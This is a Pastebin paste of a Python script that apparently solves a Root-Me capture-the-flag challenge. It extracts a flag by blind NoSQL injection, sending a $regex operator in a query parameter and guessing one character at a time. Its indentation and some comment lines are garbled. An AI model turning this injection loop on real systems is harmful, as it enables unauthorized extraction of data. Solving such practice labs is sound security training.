SHARE
TWEET

Untitled

a guest Apr 26th, 2019 55 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import requests
  2. from requests.adapters
  3. import HTTPAdapter
  4. from requests.packages.urllib3.util.retry
  5. import Retry
  6. import string
  7. def requests_retry_session(
  8.     retries = 10,
  9.     backoff_factor = 0.3,
  10.     status_forcelist = (500, 502, 504),
  11.     session = None
  12.   ):
  13.   session = session or requests.Session()
  14. retry = Retry(
  15.   total = retries,
  16.   read = retries,
  17.   connect = retries,
  18.   backoff_factor = backoff_factor,
  19.   status_forcelist = status_forcelist,
  20. )
  21. adapter = HTTPAdapter(max_retries = retry)
  22. session.mount('http://', adapter)
  23. session.mount('https://', adapter)
  24. return session
  25.  
  26. url = "http://challenge01.root-me.org/web-serveur/ch48/index.php?chall_name=nosqlblind&flag[$regex]="
  27. char = string.letters + string.digits + "_!@$&"
  28. ""
  29. " # is comment character "
  30. ""
  31. flag = ""
  32. for x in range(1, 33):
  33.   for i in char:
  34.   print url + "^" + flag + i ""
  35. " ^ is start with "
  36. ""
  37. r = requests_retry_session().get(url + "^" + flag + i)
  38. if "Yeah" in r.content:
  39.   flag = flag + i
  40. break
  41. print flag
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top